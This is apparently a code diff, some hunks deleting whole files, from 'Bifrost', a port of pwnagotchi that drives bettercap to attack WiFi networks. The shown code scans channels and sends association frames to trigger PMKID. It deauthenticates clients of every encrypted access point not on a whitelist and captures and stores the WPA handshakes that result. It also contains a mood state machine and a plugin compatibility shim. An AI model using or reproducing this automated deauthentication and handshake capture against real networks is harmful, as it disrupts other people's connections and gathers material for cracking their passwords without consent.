||||
|
||||
# Start wifi recon
|
||||
try:
|
||||
wifi_running = self._is_module_running('wifi')
|
||||
if wifi_running:
|
||||
self.bettercap.run('wifi.recon off; wifi.recon on')
|
||||
self.bettercap.run('wifi.clear')
|
||||
else:
|
||||
self.bettercap.run('wifi.recon on')
|
||||
except Exception as e:
|
||||
err_msg = str(e)
|
||||
if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg:
|
||||
logger.error(
|
||||
"wifi.recon failed: %s - Your WiFi chip likely does NOT support "
|
||||
"monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 "
|
||||
"has limited monitor mode support. Use an external USB WiFi adapter "
|
||||
"(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and "
|
||||
"packet injection.", e)
|
||||
self._log_activity('error',
|
||||
'WiFi chip does not support monitor mode',
|
||||
'Use an external USB WiFi adapter with monitor mode support')
|
||||
else:
|
||||
logger.error("Error starting wifi.recon: %s", e)
|
||||
|
||||
def _wait_bettercap(self):
|
||||
retries = 0
|
||||
while retries < 30 and not self._stop_event.is_set():
|
||||
try:
|
||||
self.bettercap.session()
|
||||
return
|
||||
except Exception:
|
||||
logger.info("waiting for bettercap API ...")
|
||||
self._stop_event.wait(2)
|
||||
retries += 1
|
||||
if not self._stop_event.is_set():
|
||||
raise Exception("bettercap API not available after 60s")
|
||||
|
||||
def _is_module_running(self, module):
|
||||
try:
|
||||
s = self.bettercap.session()
|
||||
for m in s.get('modules', []):
|
||||
if m['name'] == module:
|
||||
return m['running']
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
# ── Recon cycle ───────────────────────────────────────
|
||||
|
||||
def recon(self):
|
||||
"""Full-spectrum WiFi scan for recon_time seconds."""
|
||||
recon_time = self._config.get('bifrost_personality_recon_time', 30)
|
||||
max_inactive = 3
|
||||
recon_mul = 2
|
||||
|
||||
if self.epoch.inactive_for >= max_inactive:
|
||||
recon_time *= recon_mul
|
||||
|
||||
self._current_channel = 0
|
||||
|
||||
if not self._channels:
|
||||
logger.debug("RECON %ds (all channels)", recon_time)
|
||||
try:
|
||||
self.bettercap.run('wifi.recon.channel clear')
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
ch_str = ','.join(map(str, self._channels))
|
||||
logger.debug("RECON %ds on channels %s", recon_time, ch_str)
|
||||
try:
|
||||
self.bettercap.run('wifi.recon.channel %s' % ch_str)
|
||||
except Exception as e:
|
||||
logger.error("Error setting recon channels: %s", e)
|
||||
|
||||
self.automata.wait_for(recon_time, self.epoch, sleeping=False,
|
||||
stop_event=self._stop_event)
|
||||
|
||||
def _filter_included(self, ap):
|
||||
if self._filter is None:
|
||||
return True
|
||||
return (self._filter.match(ap.get('hostname', '')) is not None or
|
||||
self._filter.match(ap.get('mac', '')) is not None)
|
||||
|
||||
def get_access_points(self):
|
||||
"""Fetch APs from bettercap, filter whitelist and open networks."""
|
||||
aps = []
|
||||
try:
|
||||
s = self.bettercap.session()
|
||||
plugins.on("unfiltered_ap_list", s.get('wifi', {}).get('aps', []))
|
||||
for ap in s.get('wifi', {}).get('aps', []):
|
||||
enc = ap.get('encryption', '')
|
||||
if enc == '' or enc == 'OPEN':
|
||||
continue
|
||||
hostname = ap.get('hostname', '').lower()
|
||||
mac = ap.get('mac', '').lower()
|
||||
prefix = mac[:8]
|
||||
if (hostname not in self._whitelist and
|
||||
mac not in self._whitelist and
|
||||
prefix not in self._whitelist):
|
||||
if self._filter_included(ap):
|
||||
aps.append(ap)
|
||||
except Exception as e:
|
||||
logger.error("Error getting APs: %s", e)
|
||||
|
||||
aps.sort(key=lambda a: a.get('channel', 0))
|
||||
self._access_points = aps
|
||||
plugins.on('wifi_update', aps)
|
||||
self.epoch.observe(aps, list(self.automata.peers.values()))
|
||||
|
||||
# Update DB with discovered networks
|
||||
self._persist_networks(aps)
|
||||
return aps
|
||||
|
||||
def get_access_points_by_channel(self):
|
||||
"""Get APs grouped by channel, sorted by density."""
|
||||
aps = self.get_access_points()
|
||||
grouped = {}
|
||||
for ap in aps:
|
||||
ch = ap.get('channel', 0)
|
||||
if self._channels and ch not in self._channels:
|
||||
continue
|
||||
grouped.setdefault(ch, []).append(ap)
|
||||
return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True)
|
||||
|
||||
# ── Actions ───────────────────────────────────────────
|
||||
|
||||
def _should_interact(self, who):
|
||||
if self._has_handshake(who):
|
||||
return False
|
||||
if who not in self._history:
|
||||
self._history[who] = 1
|
||||
return True
|
||||
self._history[who] += 1
|
||||
max_int = self._config.get('bifrost_personality_max_interactions', 3)
|
||||
return self._history[who] < max_int
|
||||
|
||||
def _has_handshake(self, bssid):
|
||||
for key in self._handshakes:
|
||||
if bssid.lower() in key:
|
||||
return True
|
||||
return False
|
||||
|
||||
def associate(self, ap, throttle=0):
|
||||
"""Send association frame to trigger PMKID."""
|
||||
if self.automata.is_stale(self.epoch):
|
||||
return
|
||||
if (self._config.get('bifrost_personality_associate', True) and
|
||||
self._should_interact(ap.get('mac', ''))):
|
||||
try:
|
||||
hostname = ap.get('hostname', ap.get('mac', '?'))
|
||||
logger.info("ASSOC %s (%s) ch=%d rssi=%d",
|
||||
hostname, ap.get('mac', ''), ap.get('channel', 0), ap.get('rssi', 0))
|
||||
self.bettercap.run('wifi.assoc %s' % ap['mac'])
|
||||
self.epoch.track(assoc=True)
|
||||
self._log_activity('assoc', 'Association: %s' % hostname,
|
||||
self.voice.on_assoc(hostname))
|
||||
except Exception as e:
|
||||
self.automata.on_error(ap.get('mac', ''), e)
|
||||
plugins.on('association', ap)
|
||||
if throttle > 0:
|
||||
time.sleep(throttle)
|
||||
|
||||
def deauth(self, ap, sta, throttle=0):
|
||||
"""Deauthenticate client to capture handshake."""
|
||||
if self.automata.is_stale(self.epoch):
|
||||
return
|
||||
if (self._config.get('bifrost_personality_deauth', True) and
|
||||
self._should_interact(sta.get('mac', ''))):
|
||||
try:
|
||||
logger.info("DEAUTH %s (%s) from %s ch=%d",
|
||||
sta.get('mac', ''), sta.get('vendor', ''),
|
||||
ap.get('hostname', ap.get('mac', '')), ap.get('channel', 0))
|
||||
self.bettercap.run('wifi.deauth %s' % sta['mac'])
|
||||
self.epoch.track(deauth=True)
|
||||
self._log_activity('deauth', 'Deauth: %s' % sta.get('mac', ''),
|
||||
self.voice.on_deauth(sta.get('mac', '')))
|
||||
except Exception as e:
|
||||
self.automata.on_error(sta.get('mac', ''), e)
|
||||
plugins.on('deauthentication', ap, sta)
|
||||
if throttle > 0:
|
||||
time.sleep(throttle)
|
||||
|
||||
def set_channel(self, channel, verbose=True):
|
||||
"""Hop to a specific WiFi channel."""
|
||||
if self.automata.is_stale(self.epoch):
|
||||
return
|
||||
wait = 0
|
||||
if self.epoch.did_deauth:
|
||||
wait = self._config.get('bifrost_personality_hop_recon_time', 10)
|
||||
elif self.epoch.did_associate:
|
||||
wait = self._config.get('bifrost_personality_min_recon_time', 5)
|
||||
|
||||
if channel != self._current_channel:
|
||||
if self._current_channel != 0 and wait > 0:
|
||||
logger.debug("waiting %ds on channel %d", wait, self._current_channel)
|
||||
self.automata.wait_for(wait, self.epoch, stop_event=self._stop_event)
|
||||
try:
|
||||
self.bettercap.run('wifi.recon.channel %d' % channel)
|
||||
self._current_channel = channel
|
||||
self.epoch.track(hop=True)
|
||||
plugins.on('channel_hop', channel)
|
||||
except Exception as e:
|
||||
logger.error("Error setting channel: %s", e)
|
||||
|
||||
def next_epoch(self):
|
||||
"""Transition to next epoch - evaluate mood."""
|
||||
self.automata.next_epoch(self.epoch)
|
||||
# Persist epoch to DB
|
||||
data = self.epoch.data()
|
||||
self._persist_epoch(data)
|
||||
self._log_activity('epoch', 'Epoch %d' % (self.epoch.epoch - 1),
|
||||
self.voice.on_epoch(self.epoch.epoch - 1))
|
||||
|
||||
# ── Event polling ─────────────────────────────────────
|
||||
|
||||
def start_event_polling(self):
|
||||
"""Start event listener in background thread.
|
||||
|
||||
Tries websocket first; falls back to REST polling if the
|
||||
``websockets`` package is not installed.
|
||||
"""
|
||||
t = threading.Thread(target=self._event_poller, daemon=True, name="BifrostEvents")
|
||||
t.start()
|
||||
|
||||
def _event_poller(self):
|
||||
try:
|
||||
self.bettercap.run('events.clear')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Probe once whether websockets is available
|
||||
try:
|
||||
import websockets # noqa: F401
|
||||
has_ws = True
|
||||
except ImportError:
|
||||
has_ws = False
|
||||
logger.warning("websockets package not installed - using REST event polling "
|
||||
"(pip install websockets for real-time events)")
|
||||
|
||||
if has_ws:
|
||||
self._ws_event_loop()
|
||||
else:
|
||||
self._rest_event_loop()
|
||||
|
||||
def _ws_event_loop(self):
|
||||
"""Websocket-based event listener (preferred)."""
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
loop.run_until_complete(self.bettercap.start_websocket(
|
||||
self._on_event, self._stop_event))
|
||||
except Exception as ex:
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
logger.debug("Event poller error: %s", ex)
|
||||
self._stop_event.wait(5)
|
||||
loop.close()
|
||||
|
||||
def _rest_event_loop(self):
|
||||
"""REST-based fallback event poller - polls /api/events every 2s."""
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
events = self.bettercap.events()
|
||||
for ev in (events or []):
|
||||
tag = ev.get('tag', '')
|
||||
if tag == 'wifi.client.handshake':
|
||||
# Build a fake websocket message for the existing handler
|
||||
import asyncio as _aio
|
||||
_loop = _aio.new_event_loop()
|
||||
_loop.run_until_complete(self._on_event(json.dumps(ev)))
|
||||
_loop.close()
|
||||
except Exception as ex:
|
||||
logger.debug("REST event poll error: %s", ex)
|
||||
self._stop_event.wait(2)
|
||||
|
||||
async def _on_event(self, msg):
|
||||
"""Handle bettercap websocket events."""
|
||||
try:
|
||||
jmsg = json.loads(msg)
|
||||
except json.JSONDecodeError:
|
||||
return
|
||||
|
||||
if jmsg.get('tag') == 'wifi.client.handshake':
|
||||
filename = jmsg.get('data', {}).get('file', '')
|
||||
sta_mac = jmsg.get('data', {}).get('station', '')
|
||||
ap_mac = jmsg.get('data', {}).get('ap', '')
|
||||
key = "%s -> %s" % (sta_mac, ap_mac)
|
||||
|
||||
if key not in self._handshakes:
|
||||
self._handshakes[key] = jmsg
|
||||
self._last_pwnd = ap_mac
|
||||
|
||||
# Find AP info
|
||||
ap_name = ap_mac
|
||||
try:
|
||||
s = self.bettercap.session()
|
||||
for ap in s.get('wifi', {}).get('aps', []):
|
||||
if ap.get('mac') == ap_mac:
|
||||
if ap.get('hostname') and ap['hostname'] != '<hidden>':
|
||||
ap_name = ap['hostname']
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
logger.warning("!!! HANDSHAKE: %s -> %s !!!", sta_mac, ap_name)
|
||||
self.epoch.track(handshake=True)
|
||||
self._persist_handshake(ap_mac, sta_mac, ap_name, filename)
|
||||
self._log_activity('handshake',
|
||||
'Handshake: %s' % ap_name,
|
||||
self.voice.on_handshakes(1))
|
||||
plugins.on('handshake', filename, ap_mac, sta_mac)
|
||||
|
||||
def start_session_fetcher(self):
|
||||
"""Start background thread that polls bettercap for stats."""
|
||||
t = threading.Thread(target=self._fetch_stats, daemon=True, name="BifrostStats")
|
||||
t.start()
|
||||
|
||||
def _fetch_stats(self):
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
s = self.bettercap.session()
|
||||
self._tot_aps = len(s.get('wifi', {}).get('aps', []))
|
||||
except Exception:
|
||||
pass
|
||||
self._stop_event.wait(2)
|
||||
|
||||
# ── Status for web API ────────────────────────────────
|
||||
|
||||
def get_status(self):
|
||||
"""Return current agent state for the web API."""
|
||||
return {
|
||||
'mood': self.automata.mood,
|
||||
'face': self.automata.face,
|
||||
'voice': self.automata.voice_text,
|
||||
'channel': self._current_channel,
|
||||
'num_aps': self._tot_aps,
|
||||
'num_handshakes': len(self._handshakes),
|
||||
'uptime': int(time.time() - self._started_at),
|
||||
'epoch': self.epoch.epoch,
|
||||
'mode': self.mode,
|
||||
'last_pwnd': self._last_pwnd or '',
|
||||
'reward': self.epoch.data().get('reward', 0),
|
||||
}
|
||||
|
||||
# ── DB persistence ────────────────────────────────────
|
||||
|
||||
def _persist_networks(self, aps):
|
||||
"""Upsert discovered networks to DB."""
|
||||
for ap in aps:
|
||||
try:
|
||||
self.db.execute(
|
||||
"""INSERT INTO bifrost_networks
|
||||
(bssid, essid, channel, encryption, rssi, vendor, num_clients, last_seen)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(bssid) DO UPDATE SET
|
||||
essid=?, channel=?, encryption=?, rssi=?, vendor=?,
|
||||
num_clients=?, last_seen=CURRENT_TIMESTAMP""",
|
||||
(ap.get('mac', ''), ap.get('hostname', ''), ap.get('channel', 0),
|
||||
ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''),
|
||||
len(ap.get('clients', [])),
|
||||
ap.get('hostname', ''), ap.get('channel', 0),
|
||||
ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''),
|
||||
len(ap.get('clients', [])))
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("Error persisting network: %s", e)
|
||||
|
||||
def _persist_handshake(self, ap_mac, sta_mac, ap_name, filename):
|
||||
try:
|
||||
self.db.execute(
|
||||
"""INSERT OR IGNORE INTO bifrost_handshakes
|
||||
(ap_mac, sta_mac, ap_essid, filename)
|
||||
VALUES (?, ?, ?, ?)""",
|
||||
(ap_mac, sta_mac, ap_name, filename)
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("Error persisting handshake: %s", e)
|
||||
|
||||
def _persist_epoch(self, data):
|
||||
try:
|
||||
self.db.execute(
|
||||
"""INSERT INTO bifrost_epochs
|
||||
(epoch_num, started_at, duration_secs, num_deauths, num_assocs,
|
||||
num_handshakes, num_hops, num_missed, num_peers, mood, reward,
|
||||
cpu_load, mem_usage, temperature, meta_json)
|
||||
VALUES (?, datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(self.epoch.epoch - 1, data.get('duration_secs', 0),
|
||||
data.get('num_deauths', 0), data.get('num_associations', 0),
|
||||
data.get('num_handshakes', 0), data.get('num_hops', 0),
|
||||
data.get('missed_interactions', 0), data.get('num_peers', 0),
|
||||
self.automata.mood, data.get('reward', 0),
|
||||
data.get('cpu_load', 0), data.get('mem_usage', 0),
|
||||
data.get('temperature', 0), '{}')
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("Error persisting epoch: %s", e)
|
||||
|
||||
def _log_activity(self, event_type, title, details=''):
|
||||
"""Log an activity event to the DB."""
|
||||
self.automata.voice_text = details or title
|
||||
try:
|
||||
self.db.execute(
|
||||
"""INSERT INTO bifrost_activity (event_type, title, details)
|
||||
VALUES (?, ?, ?)""",
|
||||
(event_type, title, details)
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug("Error logging activity: %s", e)
|
||||
@@ -1,168 +0,0 @@
|
||||
"""automata.py - Bifrost mood state machine.
|
||||
|
||||
Ported from pwnagotchi/automata.py.
|
||||
"""
|
||||
import logging
|
||||
|
||||
from bifrost import plugins as plugins
|
||||
from bifrost.faces import MOOD_FACES
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost.automata", level=logging.DEBUG)
|
||||
|
||||
|
||||
class BifrostAutomata:
|
||||
"""Evaluates epoch data and transitions between moods."""
|
||||
|
||||
def __init__(self, config):
|
||||
self._config = config
|
||||
self.mood = 'starting'
|
||||
self.face = MOOD_FACES.get('starting', '(. .)')
|
||||
self.voice_text = ''
|
||||
self._peers = {} # peer_id -> peer_data
|
||||
|
||||
@property
|
||||
def peers(self):
|
||||
return self._peers
|
||||
|
||||
def _set_mood(self, mood):
|
||||
self.mood = mood
|
||||
self.face = MOOD_FACES.get(mood, '(. .)')
|
||||
|
||||
def set_starting(self):
|
||||
self._set_mood('starting')
|
||||
|
||||
def set_ready(self):
|
||||
self._set_mood('ready')
|
||||
plugins.on('ready')
|
||||
|
||||
def _has_support_network_for(self, factor):
|
||||
bond_factor = self._config.get('bifrost_personality_bond_factor', 20000)
|
||||
total_encounters = sum(
|
||||
p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0)
|
||||
for p in self._peers.values()
|
||||
)
|
||||
support_factor = total_encounters / bond_factor
|
||||
return support_factor >= factor
|
||||
|
||||
def in_good_mood(self):
|
||||
return self._has_support_network_for(1.0)
|
||||
|
||||
def set_grateful(self):
|
||||
self._set_mood('grateful')
|
||||
plugins.on('grateful')
|
||||
|
||||
def set_lonely(self):
|
||||
if not self._has_support_network_for(1.0):
|
||||
logger.info("unit is lonely")
|
||||
self._set_mood('lonely')
|
||||
plugins.on('lonely')
|
||||
else:
|
||||
logger.info("unit is grateful instead of lonely")
|
||||
self.set_grateful()
|
||||
|
||||
def set_bored(self, inactive_for):
|
||||
bored_epochs = self._config.get('bifrost_personality_bored_epochs', 15)
|
||||
factor = inactive_for / bored_epochs if bored_epochs else 1
|
||||
if not self._has_support_network_for(factor):
|
||||
logger.warning("%d epochs with no activity -> bored", inactive_for)
|
||||
self._set_mood('bored')
|
||||
plugins.on('bored')
|
||||
else:
|
||||
logger.info("unit is grateful instead of bored")
|
||||
self.set_grateful()
|
||||
|
||||
def set_sad(self, inactive_for):
|
||||
sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25)
|
||||
factor = inactive_for / sad_epochs if sad_epochs else 1
|
||||
if not self._has_support_network_for(factor):
|
||||
logger.warning("%d epochs with no activity -> sad", inactive_for)
|
||||
self._set_mood('sad')
|
||||
plugins.on('sad')
|
||||
else:
|
||||
logger.info("unit is grateful instead of sad")
|
||||
self.set_grateful()
|
||||
|
||||
def set_angry(self, factor):
|
||||
if not self._has_support_network_for(factor):
|
||||
logger.warning("too many misses -> angry (factor=%.1f)", factor)
|
||||
self._set_mood('angry')
|
||||
plugins.on('angry')
|
||||
else:
|
||||
logger.info("unit is grateful instead of angry")
|
||||
self.set_grateful()
|
||||
|
||||
def set_excited(self):
|
||||
logger.warning("lots of activity -> excited")
|
||||
self._set_mood('excited')
|
||||
plugins.on('excited')
|
||||
|
||||
def set_rebooting(self):
|
||||
self._set_mood('broken')
|
||||
plugins.on('rebooting')
|
||||
|
||||
def next_epoch(self, epoch):
|
||||
"""Evaluate epoch state and transition mood.
|
||||
|
||||
Args:
|
||||
epoch: BifrostEpoch instance
|
||||
"""
|
||||
was_stale = epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8)
|
||||
did_miss = epoch.num_missed
|
||||
|
||||
# Trigger epoch transition (resets counters, computes reward)
|
||||
epoch.next()
|
||||
|
||||
max_misses = self._config.get('bifrost_personality_max_misses', 8)
|
||||
excited_threshold = self._config.get('bifrost_personality_excited_epochs', 10)
|
||||
|
||||
# Mood evaluation (same logic as pwnagotchi automata.py)
|
||||
if was_stale:
|
||||
factor = did_miss / max_misses if max_misses else 1
|
||||
if factor >= 2.0:
|
||||
self.set_angry(factor)
|
||||
else:
|
||||
logger.warning("agent missed %d interactions -> lonely", did_miss)
|
||||
self.set_lonely()
|
||||
elif epoch.sad_for:
|
||||
sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25)
|
||||
factor = epoch.inactive_for / sad_epochs if sad_epochs else 1
|
||||
if factor >= 2.0:
|
||||
self.set_angry(factor)
|
||||
else:
|
||||
self.set_sad(epoch.inactive_for)
|
||||
elif epoch.bored_for:
|
||||
self.set_bored(epoch.inactive_for)
|
||||
elif epoch.active_for >= excited_threshold:
|
||||
self.set_excited()
|
||||
elif epoch.active_for >= 5 and self._has_support_network_for(5.0):
|
||||
self.set_grateful()
|
||||
|
||||
plugins.on('epoch', epoch.epoch - 1, epoch.data())
|
||||
|
||||
def on_miss(self, who):
|
||||
logger.info("it looks like %s is not in range anymore :/", who)
|
||||
|
||||
def on_error(self, who, e):
|
||||
if 'is an unknown BSSID' in str(e):
|
||||
self.on_miss(who)
|
||||
else:
|
||||
logger.error(str(e))
|
||||
|
||||
def is_stale(self, epoch):
|
||||
return epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8)
|
||||
|
||||
def wait_for(self, t, epoch, sleeping=True, stop_event=None):
|
||||
"""Wait and track sleep time.
|
||||
|
||||
If *stop_event* is provided the wait is interruptible so the
|
||||
engine can shut down quickly even during long recon windows.
|
||||
"""
|
||||
plugins.on('sleep' if sleeping else 'wait', t)
|
||||
epoch.track(sleep=True, inc=t)
|
||||
import time
|
||||
if stop_event is not None:
|
||||
stop_event.wait(t)
|
||||
else:
|
||||
time.sleep(t)
|
||||
@@ -1,103 +0,0 @@
|
||||
"""bettercap.py - Bifrost bettercap REST API client.
|
||||
|
||||
Ported from pwnagotchi/bettercap.py using urllib (no requests dependency).
|
||||
"""
|
||||
import json
|
||||
import logging
|
||||
import base64
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="bifrost.bettercap", level=logging.DEBUG)
|
||||
|
||||
|
||||
class BettercapClient:
|
||||
"""Synchronous REST client for the bettercap API."""
|
||||
|
||||
def __init__(self, hostname='127.0.0.1', scheme='http', port=8081,
|
||||
username='user', password='pass'):
|
||||
self.hostname = hostname
|
||||
self.scheme = scheme
|
||||
self.port = port
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.url = "%s://%s:%d/api" % (scheme, hostname, port)
|
||||
self.websocket = "ws://%s:%s@%s:%d/api" % (username, password, hostname, port)
|
||||
self._auth_header = 'Basic ' + base64.b64encode(
|
||||
('%s:%s' % (username, password)).encode()
|
||||
).decode()
|
||||
|
||||
def _request(self, method, path, data=None, verbose_errors=True):
|
||||
"""Make an HTTP request to bettercap API."""
|
||||
url = "%s%s" % (self.url, path)
|
||||
body = json.dumps(data).encode() if data else None
|
||||
req = urllib.request.Request(url, data=body, method=method)
|
||||
req.add_header('Authorization', self._auth_header)
|
||||
if body:
|
||||
req.add_header('Content-Type', 'application/json')
|
||||
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
raw = resp.read().decode('utf-8')
|
||||
try:
|
||||
return json.loads(raw)
|
||||
except json.JSONDecodeError:
|
||||
return raw
|
||||
except urllib.error.HTTPError as e:
|
||||
err = "error %d: %s" % (e.code, e.read().decode('utf-8', errors='replace').strip())
|
||||
if verbose_errors:
|
||||
logger.info(err)
|
||||
raise Exception(err)
|
||||
except urllib.error.URLError as e:
|
||||
raise Exception("bettercap unreachable: %s" % e.reason)
|
||||
|
||||
def session(self):
|
||||
"""GET /api/session - current bettercap state."""
|
||||
return self._request('GET', '/session')
|
||||
|
||||
def run(self, command, verbose_errors=True):
|
||||
"""POST /api/session - execute a bettercap command."""
|
||||
return self._request('POST', '/session', {'cmd': command},
|
||||
verbose_errors=verbose_errors)
|
||||
|
||||
def events(self):
|
||||
"""GET /api/events - poll recent events (REST fallback)."""
|
||||
try:
|
||||
result = self._request('GET', '/events', verbose_errors=False)
|
||||
# Clear after reading so we don't reprocess
|
||||
try:
|
||||
self.run('events.clear', verbose_errors=False)
|
||||
except Exception:
|
||||
pass
|
||||
return result if isinstance(result, list) else []
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
async def start_websocket(self, consumer, stop_event=None):
|
||||
"""Connect to bettercap websocket event stream.
|
||||
|
||||
Args:
|
||||
consumer: async callable that receives each message string.
|
||||
stop_event: optional threading.Event - exit when set.
|
||||
"""
|
||||
import websockets
|
||||
import asyncio
|
||||
ws_url = "%s/events" % self.websocket
|
||||
while not (stop_event and stop_event.is_set()):
|
||||
try:
|
||||
async with websockets.connect(ws_url, ping_interval=60,
|
||||
ping_timeout=90) as ws:
|
||||
async for msg in ws:
|
||||
if stop_event and stop_event.is_set():
|
||||
return
|
||||
try:
|
||||
await consumer(msg)
|
||||
except Exception as ex:
|
||||
logger.debug("Error parsing event: %s", ex)
|
||||
except Exception as ex:
|
||||
if stop_event and stop_event.is_set():
|
||||
return
|
||||
logger.debug("Websocket error: %s - reconnecting...", ex)
|
||||
await asyncio.sleep(2)
|
||||
@@ -1,184 +0,0 @@
|
||||
"""compat.py - Pwnagotchi compatibility shim.
|
||||
|
||||
Registers `pwnagotchi` in sys.modules so existing plugins resolve to Bifrost.
|
||||
"""
|
||||
import sys
|
||||
import time
|
||||
import types
|
||||
import os
|
||||
|
||||
|
||||
def install_shim(shared_data, bifrost_plugins_module):
|
||||
"""Install the pwnagotchi namespace shim into sys.modules.
|
||||
|
||||
Call this BEFORE loading any pwnagotchi plugins so their
|
||||
`import pwnagotchi` resolves to our shim.
|
||||
"""
|
||||
_start_time = time.time()
|
||||
|
||||
# Create the fake pwnagotchi module
|
||||
pwn = types.ModuleType('pwnagotchi')
|
||||
pwn.__version__ = '2.0.0-bifrost'
|
||||
pwn.__file__ = __file__
|
||||
pwn.config = _build_compat_config(shared_data)
|
||||
|
||||
def _name():
|
||||
return shared_data.config.get('bjorn_name', 'bifrost')
|
||||
|
||||
def _set_name(n):
|
||||
pass # no-op, name comes from Bjorn config
|
||||
|
||||
def _uptime():
|
||||
return time.time() - _start_time
|
||||
|
||||
def _cpu_load():
|
||||
try:
|
||||
return os.getloadavg()[0]
|
||||
except (OSError, AttributeError):
|
||||
return 0.0
|
||||
|
||||
def _mem_usage():
|
||||
try:
|
||||
with open('/proc/meminfo', 'r') as f:
|
||||
lines = f.readlines()
|
||||
total = int(lines[0].split()[1])
|
||||
available = int(lines[2].split()[1])
|
||||
return (total - available) / total if total else 0.0
|
||||
except Exception:
|
||||
return 0.0
|
||||
|
||||
def _temperature():
|
||||
try:
|
||||
with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f:
|
||||
return int(f.read().strip()) / 1000.0
|
||||
except Exception:
|
||||
return 0.0
|
||||
|
||||
def _reboot():
|
||||
pass # no-op in Bifrost - we don't auto-reboot
|
||||
|
||||
pwn.name = _name
|
||||
pwn.set_name = _set_name
|
||||
pwn.uptime = _uptime
|
||||
pwn.cpu_load = _cpu_load
|
||||
pwn.mem_usage = _mem_usage
|
||||
pwn.temperature = _temperature
|
||||
pwn.reboot = _reboot
|
||||
|
||||
# Register modules
|
||||
sys.modules['pwnagotchi'] = pwn
|
||||
sys.modules['pwnagotchi.plugins'] = bifrost_plugins_module
|
||||
sys.modules['pwnagotchi.utils'] = _build_utils_shim(shared_data)
|
||||
|
||||
|
||||
def _build_compat_config(shared_data):
|
||||
"""Translate Bjorn's flat bifrost_* config to pwnagotchi's nested format."""
|
||||
cfg = shared_data.config
|
||||
return {
|
||||
'main': {
|
||||
'name': cfg.get('bjorn_name', 'bifrost'),
|
||||
'iface': cfg.get('bifrost_iface', 'wlan0mon'),
|
||||
'mon_start_cmd': '',
|
||||
'no_restart': False,
|
||||
'filter': cfg.get('bifrost_filter', ''),
|
||||
'whitelist': [
|
||||
w.strip() for w in
|
||||
str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip()
|
||||
],
|
||||
'plugins': cfg.get('bifrost_plugins', {}),
|
||||
'custom_plugins': cfg.get('bifrost_plugins_path', ''),
|
||||
'mon_max_blind_epochs': 50,
|
||||
},
|
||||
'personality': {
|
||||
'ap_ttl': cfg.get('bifrost_personality_ap_ttl', 120),
|
||||
'sta_ttl': cfg.get('bifrost_personality_sta_ttl', 300),
|
||||
'min_rssi': cfg.get('bifrost_personality_min_rssi', -200),
|
||||
'associate': cfg.get('bifrost_personality_associate', True),
|
||||
'deauth': cfg.get('bifrost_personality_deauth', True),
|
||||
'recon_time': cfg.get('bifrost_personality_recon_time', 30),
|
||||
'hop_recon_time': cfg.get('bifrost_personality_hop_recon_time', 10),
|
||||
'min_recon_time': cfg.get('bifrost_personality_min_recon_time', 5),
|
||||
'max_inactive_scale': 3,
|
||||
'recon_inactive_multiplier': 2,
|
||||
'max_interactions': cfg.get('bifrost_personality_max_interactions', 3),
|
||||
'max_misses_for_recon': cfg.get('bifrost_personality_max_misses', 8),
|
||||
'excited_num_epochs': cfg.get('bifrost_personality_excited_epochs', 10),
|
||||
'bored_num_epochs': cfg.get('bifrost_personality_bored_epochs', 15),
|
||||
'sad_num_epochs': cfg.get('bifrost_personality_sad_epochs', 25),
|
||||
'bond_encounters_factor': cfg.get('bifrost_personality_bond_factor', 20000),
|
||||
'channels': [
|
||||
int(c.strip()) for c in
|
||||
str(cfg.get('bifrost_channels', '')).split(',') if c.strip()
|
||||
],
|
||||
},
|
||||
'bettercap': {
|
||||
'hostname': cfg.get('bifrost_bettercap_host', '127.0.0.1'),
|
||||
'scheme': 'http',
|
||||
'port': cfg.get('bifrost_bettercap_port', 8081),
|
||||
'username': cfg.get('bifrost_bettercap_user', 'user'),
|
||||
'password': cfg.get('bifrost_bettercap_pass', 'pass'),
|
||||
'handshakes': cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes'),
|
||||
'silence': [
|
||||
'ble.device.new', 'ble.device.lost', 'ble.device.disconnected',
|
||||
'ble.device.connected', 'ble.device.service.discovered',
|
||||
'ble.device.characteristic.discovered',
|
||||
'mod.started', 'mod.stopped', 'update.available',
|
||||
'session.closing', 'session.started',
|
||||
],
|
||||
},
|
||||
'ai': {
|
||||
'enabled': cfg.get('bifrost_ai_enabled', False),
|
||||
'path': '/root/bifrost/brain.json',
|
||||
},
|
||||
'ui': {
|
||||
'fps': 1.0,
|
||||
'web': {'enabled': False},
|
||||
'display': {'enabled': False},
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def _build_utils_shim(shared_data):
|
||||
